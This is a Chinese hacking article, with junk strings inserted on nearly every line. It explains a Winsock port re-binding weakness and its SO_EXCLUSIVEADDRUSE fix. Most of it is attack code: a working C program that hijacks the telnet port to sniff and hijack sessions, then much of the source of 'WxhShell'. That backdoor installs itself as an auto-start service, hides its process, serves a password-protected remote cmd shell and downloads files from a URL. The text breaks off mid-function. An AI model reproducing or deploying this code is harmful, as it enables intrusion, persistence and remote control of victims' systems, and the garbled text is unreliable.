在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0?J|C6XM#4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Lo$Z>u4(c yr/]xc$ saddr.sin_family = AF_INET;
Y|GJph Mp^OL7p^^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/pAm8vK imJ[:E bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:{TmR3. gL[1wM%? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
hJC
p0F9O avHD'zU}N 这意味着什么?意味着可以进行如下的攻击:
t+W=2w& ex@,F,u>o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/el["l ] dm1Qm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&6,Yjs:T m xzMeKC` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\GbHS*\+ Cu
['&_@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!yV,|)y5F p ,[XT`q^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?' ez.a} /A[oj2un 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`\RX~ $^ |&0"N[t 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&z xBi" {LB
}v;?l #include
1{hoO<CJ #include
\CJx=[3( #include
@qO8Jg"Q #include
xtIehr0{$I DWORD WINAPI ClientThread(LPVOID lpParam);
t=E|RYC(k int main()
tz0Ttu=xH {
UpszCY4 WORD wVersionRequested;
v0hfY DWORD ret;
.5KC'? WSADATA wsaData;
^M"=A}h BOOL val;
xT=kxyu SOCKADDR_IN saddr;
FVC2 XxP SOCKADDR_IN scaddr;
w
/W
Cj4` int err;
F~Z 0 SOCKET s;
PgG |7=' SOCKET sc;
,@'){V int caddsize;
~&[P`
Z$ HANDLE mt;
+U_-Lq ) DWORD tid;
\_I)loPc8 wVersionRequested = MAKEWORD( 2, 2 );
Y?vm%t`K err = WSAStartup( wVersionRequested, &wsaData );
@DQ"vFj6< if ( err != 0 ) {
Y="&|c=w#L printf("error!WSAStartup failed!\n");
J?Ep Nie return -1;
A_(+r }
wx"6",M saddr.sin_family = AF_INET;
CN$A-sjZ 4 _U,-%/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|b-Zy~6 H;t8(-F@' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
R&=GB\`:a saddr.sin_port = htons(23);
6kF
uMtjc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Qqhb]<z {
mN'9|`>V> printf("error!socket failed!\n");
wM4g1H%s return -1;
9-E>n) }
+|"n4iZ!) val = TRUE;
P7x?!71?L //SO_REUSEADDR选项就是可以实现端口重绑定的
klC^xSx if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^Lfn3.M {
3JE;:2O~P printf("error!setsockopt failed!\n");
U)w|GrxX return -1;
;gW|qb+#)j }
BL5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+81+4{* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
vYt:}$AE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-L 'K +#I~#CV! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
np\Q& {
<K[Zl/7I ret=GetLastError();
mV(x&`Cx printf("error!bind failed!\n");
5 EuJ return -1;
yg[; }
'TN{8~Gt* listen(s,2);
--%2=.X= while(1)
,WDAcQ8\ {
&'yV:g3H caddsize = sizeof(scaddr);
Dw ;vDK //接受连接请求
KZ}4<{3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U}wq~fD if(sc!=INVALID_SOCKET)
%^%-h}1 {
Nt^&YE7d: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K<w5[E9V. if(mt==NULL)
XK/@!ud"` {
` dUiz5o' printf("Thread Creat Failed!\n");
O/^w!
:z' break;
DPxu3,Y }
LLHOWD C(2 }
T\s#-f[x CloseHandle(mt);
.z>." ` }
JHZo:Ad -& closesocket(s);
g5 |\G%dOt WSACleanup();
5)v^
cR?& return 0;
; F(01 }
x15tQb+ DWORD WINAPI ClientThread(LPVOID lpParam)
l(#Y8 {
kZ[yv SOCKET ss = (SOCKET)lpParam;
,L:)ZZgN SOCKET sc;
h16Nr x unsigned char buf[4096];
Tc(v\|F, SOCKADDR_IN saddr;
nW%=k!'' long num;
:::f,aCAu DWORD val;
# %y{mn DWORD ret;
uv!qE1z@': //如果是隐藏端口应用的话,可以在此处加一些判断
?E_p ,#9j) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#R PB;#{ saddr.sin_family = AF_INET;
_po 4(U& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2^ZPO4| saddr.sin_port = htons(23);
KdpJ[[Ug/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wEc5{ b5M {
vEp8Hc printf("error!socket failed!\n");
[f(^vlK return -1;
cRr `r[t }
P]x+Q val = 100;
OjEA;;qq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
P1 >X5: {
y"-{6{3 ret = GetLastError();
lFV|GJ return -1;
i4r~eneP }
ZxPAu% Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
BvR3Oi@Wc {
|3@Pt>Ikl ret = GetLastError();
FOG+[v return -1;
TC#B^m`'p }
x2wWp-Z
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=xet+;~ji {
J5IJy3d printf("error!socket connect failed!\n");
w|o@r%Q#l closesocket(sc);
X(z-?6N4 closesocket(ss);
[te7uZv- return -1;
~(]DNXB8I` }
}jgAV while(1)
B:.;:AEbT {
.Awq( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|?=1tS{iT //如果是嗅探内容的话,可以再此处进行内容分析和记录
oXkhj,{y5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'+zsj0!A num = recv(ss,buf,4096,0);
2`m _"y
if(num>0)
KptLeb:Om send(sc,buf,num,0);
{[~,q\M[ else if(num==0)
K!gFD break;
2wsZ&y% num = recv(sc,buf,4096,0);
'Pu;]sC if(num>0)
#[yl;1) send(ss,buf,num,0);
+0 |0X {v else if(num==0)
C8q-gP[ break;
FCJ(D! }
L"/ato closesocket(ss);
Nq6CvDXi closesocket(sc);
k>hZ return 0 ;
R7E"7"M10 }
BIyG[y?qO h!~yYNQ" =oDrN7`,B ==========================================================
y<(.,Nb8 n#/m7 下边附上一个代码,,WXhSHELL
iW~f fBOG#-a} ==========================================================
yqI|BF` nHjwT5Q+Q #include "stdafx.h"
ev
>9P 9`&D #include <stdio.h>
v4aGL<SO #include <string.h>
`<~P> #include <windows.h>
=^v Ub #include <winsock2.h>
V=~dgy~@ #include <winsvc.h>
RUu'9#fq #include <urlmon.h>
c= uORt> S:QEHd_C #pragma comment (lib, "Ws2_32.lib")
+ETw:i9!? #pragma comment (lib, "urlmon.lib")
r+u\jZ =x>k:l~s #define MAX_USER 100 // 最大客户端连接数
_P1-d`b0 a #define BUF_SOCK 200 // sock buffer
/]&1 XT? #define KEY_BUFF 255 // 输入 buffer
MJ08@xGa cTp+M L #define REBOOT 0 // 重启
Y;>'~V#R #define SHUTDOWN 1 // 关机
v^G5
N)F EMbsKG #define DEF_PORT 5000 // 监听端口
kq-RM#Dj: +i =78 #define REG_LEN 16 // 注册表键长度
U+
=q_ < #define SVC_LEN 80 // NT服务名长度
a\E]ueVD2j yI<'J^1C[ // 从dll定义API
n0q(EQy1U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"o^zOU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*
=l9gv& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M(f'qFY=K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
nv]64mL3 GkFNLM5' // wxhshell配置信息
3RUB2c4 struct WSCFG {
}kDrUnBk int ws_port; // 监听端口
is$d<Y&F char ws_passstr[REG_LEN]; // 口令
u 36;;z int ws_autoins; // 安装标记, 1=yes 0=no
L6.R?4B char ws_regname[REG_LEN]; // 注册表键名
=fPO0Ot; char ws_svcname[REG_LEN]; // 服务名
_guY%2%yR char ws_svcdisp[SVC_LEN]; // 服务显示名
!k63`(Ti char ws_svcdesc[SVC_LEN]; // 服务描述信息
t {}1f char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4r*6fJ*bJ int ws_downexe; // 下载执行标记, 1=yes 0=no
qxx.f58H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
, +^db) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Fz% n!d Jo@9f(hq };
K]l)z* I C#R9Hlb // default Wxhshell configuration
=Sq7U^(> struct WSCFG wscfg={DEF_PORT,
A5b}G "xuhuanlingzhe",
DI\sq8J^ 1,
ra1hdf0" "Wxhshell",
*bx cq "Wxhshell",
n|.;g!QDA "WxhShell Service",
XN@5TZoaW "Wrsky Windows CmdShell Service",
.+<K-'&= "Please Input Your Password: ",
u(R`}C?P' 1,
EA\~m*k "
http://www.wrsky.com/wxhshell.exe",
h|
Ih4 "Wxhshell.exe"
^&}Y>O, };
@WmB0cc_ `
T!O
)5 // 消息定义模块
qA30G~S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
lQzrf"N' char *msg_ws_prompt="\n\r? for help\n\r#>";
?=l(29tH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*uIHa" char *msg_ws_ext="\n\rExit.";
y}VKFRky char *msg_ws_end="\n\rQuit.";
R~i<* char *msg_ws_boot="\n\rReboot...";
[o~w>,a char *msg_ws_poff="\n\rShutdown...";
wa C%o%fD char *msg_ws_down="\n\rSave to ";
8c9_=8vw FD<~?- char *msg_ws_err="\n\rErr!";
?=,tcN char *msg_ws_ok="\n\rOK!";
aF:I]]TfK~ p82qFzq# char ExeFile[MAX_PATH];
j{vzCRa>8 int nUser = 0;
Q7C'O @ HANDLE handles[MAX_USER];
D|xSO~M5 int OsIsNt;
~LVa# ?@nu]~ SERVICE_STATUS serviceStatus;
X7G6y|4;w SERVICE_STATUS_HANDLE hServiceStatusHandle;
UX?_IgJh<" [8"nRlXH // 函数声明
B 5?(gb" int Install(void);
,MLPVDN*D int Uninstall(void);
,FTF@h-Cs int DownloadFile(char *sURL, SOCKET wsh);
Na=q(OKN int Boot(int flag);
V{n pK( void HideProc(void);
j_}e%,} int GetOsVer(void);
&(K*TB|Om int Wxhshell(SOCKET wsl);
G
-;Yua2\ void TalkWithClient(void *cs);
vF_?1|*| int CmdShell(SOCKET sock);
1G\ugLm int StartFromService(void);
g$<@! int StartWxhshell(LPSTR lpCmdLine);
3Ry?{m^ Eb.{M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D@2Tx VOID WINAPI NTServiceHandler( DWORD fdwControl );
(]ORB0kl p\(%bO // 数据结构和表定义
os>|LPv4 SERVICE_TABLE_ENTRY DispatchTable[] =
3}H94H)]a {
X\ h]N {wscfg.ws_svcname, NTServiceMain},
Y4 i-Pp? {NULL, NULL}
E_h 9y };
#i~.wQ$1 t0wLj}"U // 自我安装
;a68>5Lm* int Install(void)
X1+Wb9P {
6rRPqO
j char svExeFile[MAX_PATH];
$N+azal+y HKEY key;
oV*3Mec strcpy(svExeFile,ExeFile);
ca-|G'q yay{lP}b" // 如果是win9x系统,修改注册表设为自启动
Io|
72W}rg if(!OsIsNt) {
c^I_~OwaE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>`u} G1T\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ao 1*a%-. RegCloseKey(key);
WFy90*@Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a&|aK+^8; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A"p7N?|% RegCloseKey(key);
|odl~juU return 0;
"5]GEzM3O }
2{g~6U. }
r=<,`_@Y }
%J7 ;b<}To else {
&R>x;&Gj HBeOK // 如果是NT以上系统,安装为系统服务
,M5J~Ga SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7>v1w:cC] if (schSCManager!=0)
6 C;??Y>b {
$!ka8)
~ SC_HANDLE schService = CreateService
3\G&fb|?}R (
~8RN schSCManager,
A)&OR]0[ wscfg.ws_svcname,
\A
Y7%> wscfg.ws_svcdisp,
UVA|(: SERVICE_ALL_ACCESS,
z^O>'9# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%jim] ]<S[ SERVICE_AUTO_START,
O8r9&Nv SERVICE_ERROR_NORMAL,
OcwD<Xy svExeFile,
}LN +V~ NULL,
l+Uy NULL,
a>G|t5w NULL,
Y }aa6 NULL,
1|Us"GQ(n NULL
MkF:1-=L );
=6Ihk if (schService!=0)
DI"mi1ObE {
inBBU[Sl CloseServiceHandle(schService);
8S "vRR CloseServiceHandle(schSCManager);
YcBY[i0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5\A[ra strcat(svExeFile,wscfg.ws_svcname);
FcB]wz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"}Of f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}1f@>'o RegCloseKey(key);
p'fU}B1 return 0;
.;8T* }
%XMwjBM }
S~.:B2=5K CloseServiceHandle(schSCManager);
Es/\/vF7]D }
G'{$$+U^K }
|[7xTD Z_.Eale^ return 1;
2;VggPpT }
VImcW;Xa WLma)L`L // 自我卸载
/p+ (_Y int Uninstall(void)
XbsEO>_Z'A {
'8R5?9" HKEY key;
7{e0^V,\k K4b#
y~@ if(!OsIsNt) {
Av:5v3% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mf^=tZ RegDeleteValue(key,wscfg.ws_regname);
q-P$ \": RegCloseKey(key);
@-|{qP=Dy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}J"}5O2,b RegDeleteValue(key,wscfg.ws_regname);
^R',P(@oL RegCloseKey(key);
}u8o *P|, return 0;
^|M\vO }
k\W%^Z }
P$?3\`U; }
?kEcYD else {
c%%r MQ>.^]B]o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
BQq,,i8H if (schSCManager!=0)
L5=Tj4` {
!{tkv4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m22M[L(q if (schService!=0)
O *^= {
VDq4n;p1 if(DeleteService(schService)!=0) {
7714}%Z CloseServiceHandle(schService);
lL_M=td8W CloseServiceHandle(schSCManager);
3#o!K return 0;
o7Ms]AblT }
,&[2z! CloseServiceHandle(schService);
eV$pza }
<+ 0cQq=2 CloseServiceHandle(schSCManager);
2gLa4B- }
wN1%;~?7 }
Blv!%es ^c",!Lp}{ return 1;
ma@3BiM }
MN1
kR kNqSBzg // 从指定url下载文件
)f(.{M int DownloadFile(char *sURL, SOCKET wsh)
l1BbL5#1Q> {
[C 1o9c! HRESULT hr;
Du@?j7&l=$ char seps[]= "/";
NMq#D$T char *token;
dm;H0v+Y' char *file;
$t.i)wg + char myURL[MAX_PATH];
5y]1v char myFILE[MAX_PATH];
H{Tt>k 2D|2/ >[ strcpy(myURL,sURL);
<-KHy`u token=strtok(myURL,seps);
Bc%A aZ0x while(token!=NULL)
+%vBDcf {
=*EIe z*.x file=token;
g=w,*68vuy token=strtok(NULL,seps);
{;.q?mj }
Exir?G} \ lR]z8& GetCurrentDirectory(MAX_PATH,myFILE);
R Fgy strcat(myFILE, "\\");
a#H2H`% strcat(myFILE, file);
S |SN3)
send(wsh,myFILE,strlen(myFILE),0);
h%'4V<V send(wsh,"...",3,0);
Wr3j8"f/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B&^WRM;7t if(hr==S_OK)
`m2e
* return 0;
A)9[.fhx else
HU[a b return 1;
%ux%=@% ^`b&fbv }
aq-`Bar Hg)5c!F7 // 系统电源模块
(!FUu int Boot(int flag)
Nxk3uF^ {
L<'8#J[_5 HANDLE hToken;
R#j-Z#/" TOKEN_PRIVILEGES tkp;
;8WgbR)ZLU 3$Ecq|4J: if(OsIsNt) {
'qD5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
QuuR_Ao?c' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
rBBA`Ut@F tkp.PrivilegeCount = 1;
mKWfRx*UdG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
% : ?_N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u<8 f;C_ if(flag==REBOOT) {
1d49z9F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
C+{du^c$ return 0;
GKPC 9;{W }
npcB+6 else {
JQVu&S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>FtW~J"X return 0;
i!zh9,i>M }
NwQexYm1_ }
eF5?4?? else {
?h`Ned0P if(flag==REBOOT) {
8J|pj4ce if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<0[{Tn return 0;
p/V }
e'<pw^I\ else {
F",]*>r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z1\G,mJK return 0;
^+Ez[S{8 }
wv,,#P }
j!r4 p, MFHPh8P return 1;
T-7'#uB.m }
iQ=
%iou L2ePWctq} // win9x进程隐藏模块
a,Gd\.D void HideProc(void)
G~ZDXQ>5CP {
< 4DWH Wpom {- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
xG<H${
k; if ( hKernel != NULL )
9IL#\:d1 {
oRM EC7!A0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}Gpw2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
U*8;ZXi FreeLibrary(hKernel);
GE$spx }
sg12C 0pYz8OB return;
OVO0Emv }
$Aww5G5e Egt;Bj#% // 获取操作系统版本
*IzcW6 [9 int GetOsVer(void)
puS'9Lpp {
Tgp}k%R~ OSVERSIONINFO winfo;
Ygn"7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JJ56d)37. GetVersionEx(&winfo);
daBu<0\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
!@-j!Ub return 1;
pTZPOv#?Q else
@Z!leyam return 0;
f+0dwlIlC$ }
wP1dPl_j:0 io
cr // 客户端句柄模块
u*[,W-R& int Wxhshell(SOCKET wsl)
1W-t})!a {
EF0{o_ SOCKET wsh;
D@qq=M struct sockaddr_in client;
^BjwPh4Z# DWORD myID;
-$;H_B+. 'q1)W' while(nUser<MAX_USER)
p<'mc|hGq {
;: Hfkyy] int nSize=sizeof(client);
e~J% NU '& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ezlp~z"_k if(wsh==INVALID_SOCKET) return 1;
(|ga#%iI `a:@[0r0U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
m&,d8Gss^ if(handles[nUser]==0)
jL8& closesocket(wsh);
$ sEe0 else
KK]AX; nUser++;
*we 3i }
`(=)8>|e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qChS} Q a%ec: % return 0;
$a\q<fN} }
}<FBcc(n "rc}mq // 关闭 socket
t> &$_CSWK void CloseIt(SOCKET wsh)
..<(HH2 {
-sO EL{ closesocket(wsh);
}?*:uf nUser--;
jY>KF'y ExitThread(0);
C_O7 }
,0<|&D 8XX,(k_b // 客户端请求句柄
dSIMwu6u void TalkWithClient(void *cs)
0g]ABzTn {
sPkT>q \C}tK,79 SOCKET wsh=(SOCKET)cs;
PhKJ#DRbr char pwd[SVC_LEN];
bL
*; N3#E char cmd[KEY_BUFF];
z(1h ^.
char chr[1];
X@x:
F|/P int i,j;
6xnJyEQUM FjiLc=RXXz while (nUser < MAX_USER) {
LdWeI j(nPWEyJM if(wscfg.ws_passstr) {
aH"tSgi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jE2ziK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{!^HG+ //ZeroMemory(pwd,KEY_BUFF);
Y0|~]J(B i=0;
jGI!}4_ while(i<SVC_LEN) {
J9poqp@`MG J5J3%6I // 设置超时
Kh<v2 fd_set FdRead;
\FVR'A1 struct timeval TimeOut;
2Y 6/,W FD_ZERO(&FdRead);
2U~oWg2P FD_SET(wsh,&FdRead);
#J2856bzS TimeOut.tv_sec=8;
.vpQ3m> TimeOut.tv_usec=0;
>Cd%tIie* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Kn\Oj=4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.^JID~<?# 4Iy\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0"
R|lTYq pwd
=chr[0]; `;cKN)Xk
if(chr[0]==0xd || chr[0]==0xa) { qViky=/-
pwd=0; .V/TVz!b
break; D\*raQ`n
} D*D83z OzN
i++; 8(Z*Vz uu
} /#>?wy<s~
)%,bog(x
// 如果是非法用户,关闭 socket k(VA5upCs
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hCr7%`
} D"A`b{z
z)|56
F7'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uu#ALB
Jm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *"9b?`E
IUu[`\b=
while(1) { FpW{=4yk
Atfon&^
ZeroMemory(cmd,KEY_BUFF); 3QV|@5L`[
,T&B.'cq
// 自动支持客户端 telnet标准 zhN'@Wj'_
j=0; gvy%`SSW
while(j<KEY_BUFF) { bd)A6a\h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y=}b/[s6;
cmd[j]=chr[0]; ^vG*8,^S=8
if(chr[0]==0xa || chr[0]==0xd) { pOH_ CXw
cmd[j]=0; /6 P()Upe
break; u:m]-'
} JN3Oe5yB2@
j++; 1L &_3}
} S4?ssI
vNJ!i\bX
// 下载文件 {mkYW-4Se
if(strstr(cmd,"http://")) { ?"sk"{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?J<4IvL/
if(DownloadFile(cmd,wsh)) PJ
#uYM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EzG7RjW
else WgxlQXi-B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vn,L),"=
} H%])>
else { l|N1u=Z
%
;6e@U}
switch(cmd[0]) { ]
YQ*mvI]
!T
@|9PCp
// 帮助 fMLm_5 (H
case '?': { Gm>8=
=c
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =VY[m-q5
break; 40q8,M
} pV>/"K
// 安装 ;o8cfD .z
case 'i': { q)!{oi{x(
if(Install()) ADHe![6q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k87B+0QEL
else "=/XIM.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \h
#vL
break; QZ{:#iuig
} (dO4ww@O
// 卸载 W:0@m^r
case 'r': { M(/%w"R
if(Uninstall()) *M KVm)Iv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <y`yKXzBUV
else q+LjWZ+O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ui1K66{
break; OjZ+gl}
} _G'.VSGH
// 显示 wxhshell 所在路径 VMtR4! :q
case 'p': { X\YeO>C
char svExeFile[MAX_PATH]; nre8 F
strcpy(svExeFile,"\n\r"); N 4,w
strcat(svExeFile,ExeFile); &|9?B!,`
send(wsh,svExeFile,strlen(svExeFile),0); rVf`wJ6b
break; N8mK^{
} Dy8Go4
// 重启 S liF$}J
case 'b': { N*o+m~:y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xp,H5
m%
if(Boot(REBOOT)) flmcY7ZV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8K1+ttjm
else { kW/ksz0)
closesocket(wsh); 1hRC
Bwx
ExitThread(0); B;rq{ac!P]
} {`1zVT p[<
break; [vIO
} (T`x-wTl
// 关机 5Pv>`E2^
case 'd': { b\;QR?16R
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BKJW\gS2
if(Boot(SHUTDOWN)) -pLb%f0?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xv'64Nc!;
else { sb8SG_ c.
closesocket(wsh); ~%GUc
~
ExitThread(0); xi|iV1A
} A}oR,$D-
break; [%3{mAd
} 47t^{WrT
// 获取shell V:l; 2rW
case 's': { ]aaHb
CmdShell(wsh); u#}zNz#C5
closesocket(wsh); 8BWLi5R[
ExitThread(0); QMkLAZ
break; s[Njk@y,
} 1FY^_dvH
// 退出 6i&WF<%D
case 'x': { {zg}KiNDZd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a0.)zgWr
CloseIt(wsh); _YbHnb
break; ,"*[T\u
} OZ7MpQ
// 离开 m~X:KwK4
case 'q': { D4
e)v%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PRf2@0ZV
closesocket(wsh); ^>]p4Q3 6
WSACleanup(); k.0$~juu
exit(1); ,!Ah+x
break; I,q3J1K
} R#Ss_y
} >5XE*9
} 6IeHZ)jGj
`bivAL
// 提示信息 Vwl`A3Y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;l~gA |A
} O^`Y>>a
} 2uqdx'^"
9I.="b=J)
return; +/AW6
} wn|Sdp
YZ'gd10T
// shell模块句柄 uv._N6mj
int CmdShell(SOCKET sock) lgre@M]mg
{ C+2*m=r
STARTUPINFO si; 8<IOX
ZeroMemory(&si,sizeof(si)); .!=2#<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _`ot||J
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C2bN<K
PROCESS_INFORMATION ProcessInfo; |8V+(Vzl
char cmdline[]="cmd"; =[vT=sHz7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s{hJ"lv:
return 0; +ZXk0sP_<
} h.G/HHz
2sWM(SN
// 自身启动模式 o^5xCK:Oi2
int StartFromService(void) lts{<AU~
{ WEWNFTI
typedef struct CCQ<.iCU
{ @K2q*d
DWORD ExitStatus; >CNH=
DWORD PebBaseAddress; \$GlB+ iCx
DWORD AffinityMask; QnVYZUgJeV
DWORD BasePriority; :'a |cjq
